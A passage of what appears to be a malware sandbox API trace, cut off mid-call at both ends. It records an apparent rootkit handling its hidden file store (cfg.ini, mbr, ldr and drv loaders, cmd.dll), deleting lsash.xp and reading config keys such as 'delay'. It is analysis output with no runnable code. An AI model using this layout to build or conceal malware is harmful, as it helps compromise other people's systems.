KeLeaveCriticalRegion () [0125.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.907] ReleaseMutex (hMutex=0xf0) returned 1 [0125.907] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.907] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.907] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.907] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.907] KeEnterCriticalRegion () [0125.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.907] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.907] IdePortDispatch () returned 0x103 [0125.907] KeWaitForMutexObject () returned 0x0 [0125.907] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.907] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.907] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.907] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.907] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.907] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.907] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.907] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.908] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.908] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.908] KeLeaveCriticalRegion () [0125.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.908] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.908] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.908] KeEnterCriticalRegion () [0125.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.908] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.908] IdePortDispatch () returned 0x103 [0125.908] KeWaitForMutexObject () returned 0x0 [0125.908] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.908] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.908] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.908] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.908] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.908] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.908] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.908] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.908] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.908] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.908] KeLeaveCriticalRegion () [0125.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.908] ReleaseMutex (hMutex=0x100) returned 1 [0125.908] Sleep (dwMilliseconds=0x2bf20) [0125.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e4072d0, dwHighDateTime=0x1d24fa4)) [0125.915] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.915] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.916] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.916] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.916] KeEnterCriticalRegion () [0125.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.916] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.916] IdePortDispatch () returned 0x103 [0125.918] KeWaitForMutexObject () returned 0x0 [0125.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.918] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.918] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.918] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.918] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.918] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.918] KeLeaveCriticalRegion () [0125.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.918] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.918] KeEnterCriticalRegion () [0125.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.918] KeLeaveCriticalRegion () [0125.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.918] KeEnterCriticalRegion () [0125.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.918] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.918] IdePortDispatch () returned 0x103 [0125.918] KeWaitForMutexObject () returned 0x0 [0125.918] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.918] KeLeaveCriticalRegion () [0125.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.919] KeEnterCriticalRegion () [0125.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1e000 [0125.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.919] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.919] IdePortDispatch () returned 0x103 [0125.919] KeWaitForMutexObject () returned 0x0 [0125.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.919] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.919] IdePortDispatch () returned 0x103 [0125.919] KeWaitForMutexObject () returned 0x0 [0125.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.919] KeLeaveCriticalRegion () [0125.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.920] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.920] KeEnterCriticalRegion () [0125.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] KeLeaveCriticalRegion () [0125.920] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.920] KeEnterCriticalRegion () [0125.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.920] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] KeLeaveCriticalRegion () [0125.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.920] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.920] KeEnterCriticalRegion () [0125.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] KeLeaveCriticalRegion () [0125.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.920] ReleaseMutex (hMutex=0xf0) returned 1 [0125.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.920] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.920] KeEnterCriticalRegion () [0125.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.920] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.920] IdePortDispatch () returned 0x103 [0125.920] KeWaitForMutexObject () returned 0x0 [0125.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.921] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.921] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.921] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.921] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.921] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.921] KeLeaveCriticalRegion () [0125.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.921] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.921] KeEnterCriticalRegion () [0125.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.921] KeLeaveCriticalRegion () [0125.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.921] KeEnterCriticalRegion () [0125.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.921] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.921] IdePortDispatch () returned 0x103 [0125.921] KeWaitForMutexObject () returned 0x0 [0125.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.921] KeLeaveCriticalRegion () [0125.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.922] KeEnterCriticalRegion () [0125.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1f000 [0125.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.922] IdePortDispatch () returned 0x103 [0125.922] KeWaitForMutexObject () returned 0x0 [0125.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.922] IdePortDispatch () returned 0x103 [0125.922] KeWaitForMutexObject () returned 0x0 [0125.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.922] KeLeaveCriticalRegion () [0125.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.923] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.923] KeEnterCriticalRegion () [0125.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] KeLeaveCriticalRegion () [0125.923] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.923] KeEnterCriticalRegion () [0125.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.923] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] KeLeaveCriticalRegion () [0125.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.923] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.923] KeEnterCriticalRegion () [0125.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] KeLeaveCriticalRegion () [0125.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.923] ReleaseMutex (hMutex=0xf0) returned 1 [0125.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.923] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.923] KeEnterCriticalRegion () [0125.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.923] IdePortDispatch () returned 0x103 [0125.923] KeWaitForMutexObject () returned 0x0 [0125.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.924] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.924] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.924] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.924] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036ffef0 [0125.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] KeLeaveCriticalRegion () [0125.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.924] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.924] KeEnterCriticalRegion () [0125.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] KeLeaveCriticalRegion () [0125.924] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.924] KeEnterCriticalRegion () [0125.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.924] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.924] IdePortDispatch () returned 0x103 [0125.924] KeWaitForMutexObject () returned 0x0 [0125.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] KeLeaveCriticalRegion () [0125.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.924] KeEnterCriticalRegion () [0125.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.924] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d20000 [0125.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 